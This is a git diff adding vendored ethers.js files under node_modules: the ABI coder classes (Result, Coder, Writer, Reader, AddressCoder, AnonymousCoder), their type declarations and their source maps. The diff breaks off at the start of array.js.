+{"version":3,"file":"bytes32.js","sourceRoot":"","sources":["../../src.ts/abi/bytes32.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,EACH,QAAQ,EAAE,WAAW,EAAE,YAAY,EAAE,YAAY,EACpD,MAAM,mBAAmB,CAAC;AAI3B;;GAEG;AACH,MAAM,UAAU,mBAAmB,CAAC,IAAY;IAE5C,gBAAgB;IAChB,MAAM,KAAK,GAAG,WAAW,CAAC,IAAI,CAAC,CAAC;IAEhC,0CAA0C;IAC1C,IAAI,KAAK,CAAC,MAAM,GAAG,EAAE,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,2CAA2C,CAAC,CAAC;KAAE;IAExF,wCAAwC;IACxC,OAAO,YAAY,CAAC,KAAK,EAAE,EAAE,CAAC,CAAC;AACnC,CAAC;AAED;;GAEG;AACH,MAAM,UAAU,mBAAmB,CAAC,MAAiB;IACjD,MAAM,IAAI,GAAG,QAAQ,CAAC,MAAM,EAAE,OAAO,CAAC,CAAC;IAEvC,2CAA2C;IAC3C,IAAI,IAAI,CAAC,MAAM,KAAK,EAAE,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,qCAAqC,CAAC,CAAC;KAAE;IACnF,IAAI,IAAI,CAAC,EAAE,CAAC,KAAK,CAAC,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,6CAA6C,CAAC,CAAC;KAAE;IAEvF,4BAA4B;IAC5B,IAAI,MAAM,GAAG,EAAE,CAAC;IAChB,OAAO,IAAI,CAAC,MAAM,GAAG,CAAC,CAAC,KAAK,CAAC,EAAE;QAAE,MAAM,EAAE,CAAC;KAAE;IAE5C,6BAA6B;IAC7B,OAAO,YAAY,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;AAC/C,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/abstract-coder.d.ts b/node_modules/ethers/lib.esm/abi/coders/abstract-coder.d.ts new file mode 100644 index 000000000000..6223aea06f05 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/abstract-coder.d.ts @@ -0,0 +1,124 @@ +import type { BigNumberish, BytesLike } from "../../utils/index.js"; +/** + * @_ignore: + */ +export declare const WordSize: number; +/** + * A [[Result]] is a sub-class of Array, which allows accessing any + * of its values either positionally by its index or, if keys are + * provided by its name. + * + * @_docloc: api/abi + */ +export declare class Result extends Array { + #private; + [K: string | number]: any; + /** + * @private + */ + constructor(...args: Array); + /** + * Returns the Result as a normal Array. If %%deep%%, any children + * which are Result objects are also converted to a normal Array. + * + * This will throw if there are any outstanding deferred + * errors. + */ + toArray(deep?: boolean): Array; + /** + * Returns the Result as an Object with each name-value pair. If + * %%deep%%, any children which are Result objects are also + * converted to an Object. + * + * This will throw if any value is unnamed, or if there are + * any outstanding deferred errors. + */ + toObject(deep?: boolean): Record; + /** + * @_ignore + */ + slice(start?: number | undefined, end?: number | undefined): Result; + /** + * @_ignore + */ + filter(callback: (el: any, index: number, array: Result) => boolean, thisArg?: any): Result; + /** + * @_ignore + */ + map(callback: (el: any, index: number, array: Result) => T, thisArg?: any): Array; + /** + * Returns the value for %%name%%. + * + * Since it is possible to have a key whose name conflicts with + * a method on a [[Result]] or its superclass Array, or any + * JavaScript keyword, this ensures all named values are still + * accessible by name. + */ + getValue(name: string): any; + /** + * Creates a new [[Result]] for %%items%% with each entry + * also accessible by its corresponding name in %%keys%%. + */ + static fromItems(items: Array, keys?: Array): Result; +} +/** + * Returns all errors found in a [[Result]]. + * + * Since certain errors encountered when creating a [[Result]] do + * not impact the ability to continue parsing data, they are + * deferred until they are actually accessed. Hence a faulty string + * in an Event that is never used does not impact the program flow. + * + * However, sometimes it may be useful to access, identify or + * validate correctness of a [[Result]]. + * + * @_docloc api/abi + */ +export declare function checkResultErrors(result: Result): Array<{ + path: Array; + error: Error; +}>; +/** + * @_ignore + */ +export declare abstract class Coder { + readonly name: string; + readonly type: string; + readonly localName: string; + readonly dynamic: boolean; + constructor(name: string, type: string, localName: string, dynamic: boolean); + _throwError(message: string, value: any): never; + abstract encode(writer: Writer, value: any): number; + abstract decode(reader: Reader): any; + abstract defaultValue(): any; +} +/** + * @_ignore + */ +export declare class Writer { + #private; + constructor(); + get data(): string; + get length(): number; + appendWriter(writer: Writer): number; + writeBytes(value: BytesLike): number; + writeValue(value: BigNumberish): number; + writeUpdatableValue(): (value: BigNumberish) => void; +} +/** + * @_ignore + */ +export declare class Reader { + #private; + readonly allowLoose: boolean; + constructor(data: BytesLike, allowLoose?: boolean, maxInflation?: number); + get data(): string; + get dataLength(): number; + get consumed(): number; + get bytes(): Uint8Array; + subReader(offset: number): Reader; + readBytes(length: number, loose?: boolean): Uint8Array; + readValue(): bigint; + readIndex(): number; +} +//# sourceMappingURL=abstract-coder.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/abstract-coder.d.ts.map b/node_modules/ethers/lib.esm/abi/coders/abstract-coder.d.ts.map new file mode 100644 index 000000000000..8ecc4d8abd3f --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/abstract-coder.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"abstract-coder.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/abstract-coder.ts"],"names":[],"mappings":"AAQA,OAAO,KAAK,EAAE,YAAY,EAAE,SAAS,EAAE,MAAM,sBAAsB,CAAC;AAEpE;;GAEG;AACH,eAAO,MAAM,QAAQ,EAAE,MAAW,CAAC;AA+CnC;;;;;;GAMG;AACH,qBAAa,MAAO,SAA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AC/C,IAAI,KAAK,IAAI,UAAU,CAAuC;IAkC9D,SAAS,CAAC,MAAM,EAAE,MAAM,GAAG,MAAM;IAOjC,SAAS,CAAC,MAAM,EAAE,MAAM,EAAE,KAAK,CAAC,EAAE,OAAO,GAAG,UAAU;IAStD,SAAS,IAAI,MAAM;IAInB,SAAS,IAAI,MAAM;CAGtB"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/abstract-coder.js b/node_modules/ethers/lib.esm/abi/coders/abstract-coder.js new file mode 100644 index 000000000000..8b58f03a392d --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/abstract-coder.js @@ -0,0 +1,466 @@ +import { defineProperties, concat, getBytesCopy, getNumber, hexlify, toBeArray, toBigInt, toNumber, assert, assertArgument +/*, isError*/ + } from "../../utils/index.js"; +/** + * @_ignore: + */ +export const WordSize = 32; +const Padding = new Uint8Array(WordSize); +// Properties used to immediate pass through to the underlying object +// - `then` is used to detect if an object is a Promise for await +const passProperties = ["then"]; +const _guard = {}; +const resultNames = new WeakMap(); +function getNames(result) { + return resultNames.get(result); +} +function setNames(result, names) { + resultNames.set(result, names); +} +function throwError(name, error) { + const wrapped = new Error(`deferred error during ABI decoding triggered accessing ${name}`); + wrapped.error = error; + throw wrapped; +} +function toObject(names, items, deep) { + if (names.indexOf(null) >= 0) { + return items.map((item, index) => { + if (item instanceof Result) { + return toObject(getNames(item), item, deep); + } + return item; + }); + } + return names.reduce((accum, name, index) => { + let item = items.getValue(name); + if (!(name in accum)) { + if (deep && item instanceof Result) { + item = toObject(getNames(item), item, deep); + } + accum[name] = item; + } + return accum; + }, {}); +} +/** + * A [[Result]] is a sub-class of Array, which allows accessing any + * of its values either positionally by its index or, if keys are + * provided by its name. + * + * @_docloc: api/abi + */ +export class Result extends Array { + // No longer used; but cannot be removed as it will remove the + // #private field from the .d.ts which may break backwards + // compatibility + #names; + /** + * @private + */ + constructor(...args) { + // To properly sub-class Array so the other built-in + // functions work, the constructor has to behave fairly + // well. So, in the event we are created via fromItems() + // we build the read-only Result object we want, but on + // any other input, we use the default constructor + // constructor(guard: any, items: Array, keys?: Array); + const guard = args[0]; + let items = args[1]; + let names = (args[2] || []).slice(); + let wrap = true; + if (guard !== _guard) { + items = args; + names = []; + wrap = false; + } + // Can't just pass in ...items since an array of length 1 + // is a special case in the super. + super(items.length); + items.forEach((item, index) => { this[index] = item; }); + // Find all unique keys + const nameCounts = names.reduce((accum, name) => { + if (typeof (name) === "string") { + accum.set(name, (accum.get(name) || 0) + 1); + } + return accum; + }, (new Map())); + // Remove any key thats not unique + setNames(this, Object.freeze(items.map((item, index) => { + const name = names[index]; + if (name != null && nameCounts.get(name) === 1) { + return name; + } + return null; + }))); + // Dummy operations to prevent TypeScript from complaining + this.#names = []; + if (this.#names == null) { + void (this.#names); + } + if (!wrap) { + return; + } + // A wrapped Result is immutable + Object.freeze(this); + // Proxy indices and names so we can trap deferred errors + const proxy = new Proxy(this, { + get: (target, prop, receiver) => { + if (typeof (prop) === "string") { + // Index accessor + if (prop.match(/^[0-9]+$/)) { + const index = getNumber(prop, "%index"); + if (index < 0 || index >= this.length) { + throw new RangeError("out of result range"); + } + const item = target[index]; + if (item instanceof Error) { + throwError(`index ${index}`, item); + } + return item; + } + // Pass important checks (like `then` for Promise) through + if (passProperties.indexOf(prop) >= 0) { + return Reflect.get(target, prop, receiver); + } + const value = target[prop]; + if (value instanceof Function) { + // Make sure functions work with private variables + // See: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy#no_private_property_forwarding + return function (...args) { + return value.apply((this === receiver) ? target : this, args); + }; + } + else if (!(prop in target)) { + // Possible name accessor + return target.getValue.apply((this === receiver) ? target : this, [prop]); + } + } + return Reflect.get(target, prop, receiver); + } + }); + setNames(proxy, getNames(this)); + return proxy; + } + /** + * Returns the Result as a normal Array. If %%deep%%, any children + * which are Result objects are also converted to a normal Array. + * + * This will throw if there are any outstanding deferred + * errors. + */ + toArray(deep) { + const result = []; + this.forEach((item, index) => { + if (item instanceof Error) { + throwError(`index ${index}`, item); + } + if (deep && item instanceof Result) { + item = item.toArray(deep); + } + result.push(item); + }); + return result; + } + /** + * Returns the Result as an Object with each name-value pair. If + * %%deep%%, any children which are Result objects are also + * converted to an Object. + * + * This will throw if any value is unnamed, or if there are + * any outstanding deferred errors. + */ + toObject(deep) { + const names = getNames(this); + return names.reduce((accum, name, index) => { + assert(name != null, `value at index ${index} unnamed`, "UNSUPPORTED_OPERATION", { + operation: "toObject()" + }); + return toObject(names, this, deep); + }, {}); + } + /** + * @_ignore + */ + slice(start, end) { + if (start == null) { + start = 0; + } + if (start < 0) { + start += this.length; + if (start < 0) { + start = 0; + } + } + if (end == null) { + end = this.length; + } + if (end < 0) { + end += this.length; + if (end < 0) { + end = 0; + } + } + if (end > this.length) { + end = this.length; + } + const _names = getNames(this); + const result = [], names = []; + for (let i = start; i < end; i++) { + result.push(this[i]); + names.push(_names[i]); + } + return new Result(_guard, result, names); + } + /** + * @_ignore + */ + filter(callback, thisArg) { + const _names = getNames(this); + const result = [], names = []; + for (let i = 0; i < this.length; i++) { + const item = this[i]; + if (item instanceof Error) { + throwError(`index ${i}`, item); + } + if (callback.call(thisArg, item, i, this)) { + result.push(item); + names.push(_names[i]); + } + } + return new Result(_guard, result, names); + } + /** + * @_ignore + */ + map(callback, thisArg) { + const result = []; + for (let i = 0; i < this.length; i++) { + const item = this[i]; + if (item instanceof Error) { + throwError(`index ${i}`, item); + } + result.push(callback.call(thisArg, item, i, this)); + } + return result; + } + /** + * Returns the value for %%name%%. + * + * Since it is possible to have a key whose name conflicts with + * a method on a [[Result]] or its superclass Array, or any + * JavaScript keyword, this ensures all named values are still + * accessible by name. + */ + getValue(name) { + const index = getNames(this).indexOf(name); + if (index === -1) { + return undefined; + } + const value = this[index]; + if (value instanceof Error) { + throwError(`property ${JSON.stringify(name)}`, value.error); + } + return value; + } + /** + * Creates a new [[Result]] for %%items%% with each entry + * also accessible by its corresponding name in %%keys%%. + */ + static fromItems(items, keys) { + return new Result(_guard, items, keys); + } +} +/** + * Returns all errors found in a [[Result]]. + * + * Since certain errors encountered when creating a [[Result]] do + * not impact the ability to continue parsing data, they are + * deferred until they are actually accessed. Hence a faulty string + * in an Event that is never used does not impact the program flow. + * + * However, sometimes it may be useful to access, identify or + * validate correctness of a [[Result]]. + * + * @_docloc api/abi + */ +export function checkResultErrors(result) { + // Find the first error (if any) + const errors = []; + const checkErrors = function (path, object) { + if (!Array.isArray(object)) { + return; + } + for (let key in object) { + const childPath = path.slice(); + childPath.push(key); + try { + checkErrors(childPath, object[key]); + } + catch (error) { + errors.push({ path: childPath, error: error }); + } + } + }; + checkErrors([], result); + return errors; +} +function getValue(value) { + let bytes = toBeArray(value); + assert(bytes.length <= WordSize, "value out-of-bounds", "BUFFER_OVERRUN", { buffer: bytes, length: WordSize, offset: bytes.length }); + if (bytes.length !== WordSize) { + bytes = getBytesCopy(concat([Padding.slice(bytes.length % WordSize), bytes])); + } + return bytes; +} +/** + * @_ignore + */ +export class Coder { + // The coder name: + // - address, uint256, tuple, array, etc. + name; + // The fully expanded type, including composite types: + // - address, uint256, tuple(address,bytes), uint256[3][4][], etc. + type; + // The localName bound in the signature, in this example it is "baz": + // - tuple(address foo, uint bar) baz + localName; + // Whether this type is dynamic: + // - Dynamic: bytes, string, address[], tuple(boolean[]), etc. + // - Not Dynamic: address, uint256, boolean[3], tuple(address, uint8) + dynamic; + constructor(name, type, localName, dynamic) { + defineProperties(this, { name, type, localName, dynamic }, { + name: "string", type: "string", localName: "string", dynamic: "boolean" + }); + } + _throwError(message, value) { + assertArgument(false, message, this.localName, value); + } +} +/** + * @_ignore + */ +export class Writer { + // An array of WordSize lengthed objects to concatenation + #data; + #dataLength; + constructor() { + this.#data = []; + this.#dataLength = 0; + } + get data() { + return concat(this.#data); + } + get length() { return this.#dataLength; } + #writeData(data) { + this.#data.push(data); + this.#dataLength += data.length; + return data.length; + } + appendWriter(writer) { + return this.#writeData(getBytesCopy(writer.data)); + } + // Arrayish item; pad on the right to *nearest* WordSize + writeBytes(value) { + let bytes = getBytesCopy(value); + const paddingOffset = bytes.length % WordSize; + if (paddingOffset) { + bytes = getBytesCopy(concat([bytes, Padding.slice(paddingOffset)])); + } + return this.#writeData(bytes); + } + // Numeric item; pad on the left *to* WordSize + writeValue(value) { + return this.#writeData(getValue(value)); + } + // Inserts a numeric place-holder, returning a callback that can + // be used to asjust the value later + writeUpdatableValue() { + const offset = this.#data.length; + this.#data.push(Padding); + this.#dataLength += WordSize; + return (value) => { + this.#data[offset] = getValue(value); + }; + } +} +/** + * @_ignore + */ +export class Reader { + // Allows incomplete unpadded data to be read; otherwise an error + // is raised if attempting to overrun the buffer. This is required + // to deal with an old Solidity bug, in which event data for + // external (not public thoguh) was tightly packed. + allowLoose; + #data; + #offset; + #bytesRead; + #parent; + #maxInflation; + constructor(data, allowLoose, maxInflation) { + defineProperties(this, { allowLoose: !!allowLoose }); + this.#data = getBytesCopy(data); + this.#bytesRead = 0; + this.#parent = null; + this.#maxInflation = (maxInflation != null) ? maxInflation : 1024; + this.#offset = 0; + } + get data() { return hexlify(this.#data); } + get dataLength() { return this.#data.length; } + get consumed() { return this.#offset; } + get bytes() { return new Uint8Array(this.#data); } + #incrementBytesRead(count) { + if (this.#parent) { + return this.#parent.#incrementBytesRead(count); + } + this.#bytesRead += count; + // Check for excessive inflation (see: #4537) + assert(this.#maxInflation < 1 || this.#bytesRead <= this.#maxInflation * this.dataLength, `compressed ABI data exceeds inflation ratio of ${this.#maxInflation} ( see: https:/\/github.com/ethers-io/ethers.js/issues/4537 )`, "BUFFER_OVERRUN", { + buffer: getBytesCopy(this.#data), offset: this.#offset, + length: count, info: { + bytesRead: this.#bytesRead, + dataLength: this.dataLength + } + }); + } + #peekBytes(offset, length, loose) { + let alignedLength = Math.ceil(length / WordSize) * WordSize; + if (this.#offset + alignedLength > this.#data.length) { + if (this.allowLoose && loose && this.#offset + length <= this.#data.length) { + alignedLength = length; + } + else { + assert(false, "data out-of-bounds", "BUFFER_OVERRUN", { + buffer: getBytesCopy(this.#data), + length: this.#data.length, + offset: this.#offset + alignedLength + }); + } + } + return this.#data.slice(this.#offset, this.#offset + alignedLength); + } + // Create a sub-reader with the same underlying data, but offset + subReader(offset) { + const reader = new Reader(this.#data.slice(this.#offset + offset), this.allowLoose, this.#maxInflation); + reader.#parent = this; + return reader; + } + // Read bytes + readBytes(length, loose) { + let bytes = this.#peekBytes(0, length, !!loose); + this.#incrementBytesRead(length); + this.#offset += bytes.length; + // @TODO: Make sure the length..end bytes are all 0? + return bytes.slice(0, length); + } + // Read a numeric values + readValue() { + return toBigInt(this.readBytes(WordSize)); + } + readIndex() { + return toNumber(this.readBytes(WordSize)); + } +} +//# sourceMappingURL=abstract-coder.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/abstract-coder.js.map b/node_modules/ethers/lib.esm/abi/coders/abstract-coder.js.map new file mode 100644 index 000000000000..c432560ae84c --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/abstract-coder.js.map @@ -0,0 +1 @@ +{"version":3,"file":"abstract-coder.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/abstract-coder.ts"],"names":[],"mappings":"AACA,OAAO,EACH,gBAAgB,EAAE,MAAM,EAAE,YAAY,EAAE,SAAS,EAAE,OAAO,EAC1D,SAAS,EAAE,QAAQ,EAAE,QAAQ,EAC7B,MAAM,EAAE,cAAc;AACtB,aAAa;EAChB,MAAM,sBAAsB,CAAC;AAI9B;;GAEG;AACH,MAAM,CAAC,MAAM,QAAQ,GAAW,EAAE,CAAC;AACnC,MAAM,OAAO,GAAG,IAAI,UAAU,CAAC,QAAQ,CAAC,CAAC;AAEzC,qEAAqE;AACrE,iEAAiE;AACjE,MAAM,cAAc,GAAG,CAAE,MAAM,CAAE,CAAC;AAElC,MAAM,MAAM,GAAG,EAAG,CAAC;AAEnB,MAAM,WAAW,GAAkD,IAAI,OAAO,EAAE,CAAC;AAEjF,SAAS,QAAQ,CAAC,M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D;QACpD,OAAO,KAAK,CAAC,KAAK,CAAC,CAAC,EAAE,MAAM,CAAC,CAAC;IAClC,CAAC;IAED,wBAAwB;IACxB,SAAS;QACL,OAAO,QAAQ,CAAC,IAAI,CAAC,SAAS,CAAC,QAAQ,CAAC,CAAC,CAAC;IAC9C,CAAC;IAED,SAAS;QACL,OAAO,QAAQ,CAAC,IAAI,CAAC,SAAS,CAAC,QAAQ,CAAC,CAAC,CAAC;IAC9C,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/address.d.ts b/node_modules/ethers/lib.esm/abi/coders/address.d.ts new file mode 100644 index 000000000000..8befac03acdb --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/address.d.ts @@ -0,0 +1,13 @@ +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class AddressCoder extends Coder { + constructor(localName: string); + defaultValue(): string; + encode(writer: Writer, _value: string | Typed): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=address.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/address.d.ts.map b/node_modules/ethers/lib.esm/abi/coders/address.d.ts.map new file mode 100644 index 000000000000..f86c8f18d774 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/address.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"address.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/address.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAE5C,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAG1D;;GAEG;AACH,qBAAa,YAAa,SAAQ,KAAK;gBAEvB,SAAS,EAAE,MAAM;IAI7B,YAAY,IAAI,MAAM;IAItB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,GAAG,KAAK,GAAG,MAAM;IAUtD,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/address.js b/node_modules/ethers/lib.esm/abi/coders/address.js new file mode 100644 index 000000000000..445029c95b8e --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/address.js @@ -0,0 +1,29 @@ +import { getAddress } from "../../address/index.js"; +import { toBeHex } from "../../utils/maths.js"; +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; +/** + * @_ignore + */ +export class AddressCoder extends Coder { + constructor(localName) { + super("address", "address", localName, false); + } + defaultValue() { + return "0x0000000000000000000000000000000000000000"; + } + encode(writer, _value) { + let value = Typed.dereference(_value, "string"); + try { + value = getAddress(value); + } + catch (error) { + return this._throwError(error.message, _value); + } + return writer.writeValue(value); + } + decode(reader) { + return getAddress(toBeHex(reader.readValue(), 20)); + } +} +//# sourceMappingURL=address.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/address.js.map b/node_modules/ethers/lib.esm/abi/coders/address.js.map new file mode 100644 index 000000000000..4d5cae70768c --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/address.js.map @@ -0,0 +1 @@ +{"version":3,"file":"address.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/address.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,UAAU,EAAE,MAAM,wBAAwB,CAAC;AACpD,OAAO,EAAE,OAAO,EAAE,MAAM,sBAAsB,CAAC;AAE/C,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAK5C;;GAEG;AACH,MAAM,OAAO,YAAa,SAAQ,KAAK;IAEnC,YAAY,SAAiB;QACzB,KAAK,CAAC,SAAS,EAAE,SAAS,EAAE,SAAS,EAAE,KAAK,CAAC,CAAC;IAClD,CAAC;IAED,YAAY;QACR,OAAO,4CAA4C,CAAC;IACxD,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,MAAsB;QACzC,IAAI,KAAK,GAAG,KAAK,CAAC,WAAW,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC;QAChD,IAAI;YACA,KAAK,GAAG,UAAU,CAAC,KAAK,CAAC,CAAC;SAC7B;QAAC,OAAO,KAAU,EAAE;YACjB,OAAO,IAAI,CAAC,WAAW,CAAC,KAAK,CAAC,OAAO,EAAE,MAAM,CAAC,CAAC;SAClD;QACD,OAAO,MAAM,CAAC,UAAU,CAAC,KAAK,CAAC,CAAC;IACpC,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,UAAU,CAAC,OAAO,CAAC,MAAM,CAAC,SAAS,EAAE,EAAE,EAAE,CAAC,CAAC,CAAC;IACvD,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/anonymous.d.ts b/node_modules/ethers/lib.esm/abi/coders/anonymous.d.ts new file mode 100644 index 000000000000..554bf03f07ea --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/anonymous.d.ts @@ -0,0 +1,15 @@ +import { Coder } from "./abstract-coder.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * Clones the functionality of an existing Coder, but without a localName + * + * @_ignore + */ +export declare class AnonymousCoder extends Coder { + private coder; + constructor(coder: Coder); + defaultValue(): any; + encode(writer: Writer, value: any): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=anonymous.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/anonymous.d.ts.map b/node_modules/ethers/lib.esm/abi/coders/anonymous.d.ts.map new file mode 100644 index 000000000000..f150f0601082 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/anonymous.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"anonymous.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/anonymous.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAE5C,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAE1D;;;;GAIG;AACH,qBAAa,cAAe,SAAQ,KAAK;IACrC,OAAO,CAAC,KAAK,CAAQ;gBAET,KAAK,EAAE,KAAK;IAKxB,YAAY,IAAI,GAAG;IAInB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,GAAG,MAAM;IAI1C,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/anonymous.js b/node_modules/ethers/lib.esm/abi/coders/anonymous.js new file mode 100644 index 000000000000..b6d953261e69 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/anonymous.js @@ -0,0 +1,23 @@ +import { Coder } from "./abstract-coder.js"; +/** + * Clones the functionality of an existing Coder, but without a localName + * + * @_ignore + */ +export class AnonymousCoder extends Coder { + coder; + constructor(coder) { + super(coder.name, coder.type, "_", coder.dynamic); + this.coder = coder; + } + defaultValue() { + return this.coder.defaultValue(); + } + encode(writer, value) { + return this.coder.encode(writer, value); + } + decode(reader) { + return this.coder.decode(reader); + } +} +//# sourceMappingURL=anonymous.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/anonymous.js.map b/node_modules/ethers/lib.esm/abi/coders/anonymous.js.map new file mode 100644 index 000000000000..ac81d99b986a --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/anonymous.js.map @@ -0,0 +1 @@ +{"version":3,"file":"anonymous.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/anonymous.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAI5C;;;;GAIG;AACH,MAAM,OAAO,cAAe,SAAQ,KAAK;IAC7B,KAAK,CAAQ;IAErB,YAAY,KAAY;QACpB,KAAK,CAAC,KAAK,CAAC,IAAI,EAAE,KAAK,CAAC,IAAI,EAAE,GAAG,EAAE,KAAK,CAAC,OAAO,CAAC,CAAC;QAClD,IAAI,CAAC,KAAK,GAAG,KAAK,CAAC;IACvB,CAAC;IAED,YAAY;QACR,OAAO,IAAI,CAAC,KAAK,CAAC,YAAY,EAAE,CAAC;IACrC,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,KAAU;QAC7B,OAAO,IAAI,CAAC,KAAK,CAAC,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,CAAC;IAC5C,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,IAAI,CAAC,KAAK,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC;IACrC,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/array.d.ts b/node_modules/ethers/lib.esm/abi/coders/array.d.ts new file mode 100644 index 000000000000..954c4e17eb2c --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/array.d.ts @@ -0,0 +1,25 @@ +import { Typed } from "../typed.js"; +import { Coder, Result, Writer } from "./abstract-coder.js"; +import type { Reader } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare function pack(writer: Writer, coders: ReadonlyArray, values: Array | { + [name: string]: any; +}): number; +/** + * @_ignore + */ +export declare function unpack(reader: Reader, coders: ReadonlyArray): Result; +/** + * @_ignore + */ +export declare class ArrayCoder extends Coder { + readonly coder: Coder; + readonly length: number; + constructor(coder: Coder, length: number, localName: string); + defaultValue(): Array; + encode(writer: Writer, _value: Array | Typed): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=array.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/array.d.ts.map b/node_modules/ethers/lib.esm/abi/coders/array.d.ts.map new file mode 100644 index 000000000000..c3a6d622b118 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/coders/array.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"array.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/array.ts"],"names":[],"mappings":"AAIA,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AAEpC,OAAO,EAAE,KAAK,EAAE,MAAM,EAAY,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAGtE,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAElD;;GAEG;AACH,wBAAgB,IAAI,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,aAAa,CAAC,KAAK,CAAC,EAAE,MAAM,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG;IAAE,CAAE,IAAI,EAAE,MAAM,GAAI,GAAG,CAAA;CAAE,GAAG,MAAM,CA2DzH;AAED;;GAEG;AACH,wBAAgB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,aAAa,CAAC,KAAK,CAAC,GAAG,MAAM,CAoD3E;AAED;;GAEG;AACH,qBAAa,UAAW,SAAQ,KAAK;IACjC,QAAQ,CAAC,KAAK,EAAG,KAAK,CAAC;IACvB,QAAQ,CAAC,MAAM,EAAG,MAAM,CAAC;gBAEb,KAAK,EAAE,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,SAAS,EAAE,MAAM;IAO3D,YAAY,IAAI,KAAK,CAAC,GAAG,CAAC;IAW1B,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG,KAAK,GAAG,MAAM;IAsB1D,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAkB9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/coders/array.js b/node_modules/ethers/lib.esm/abi/coders/array.js new file mode 100644 index 000000000000..576f40f14d1f --- /dev/null 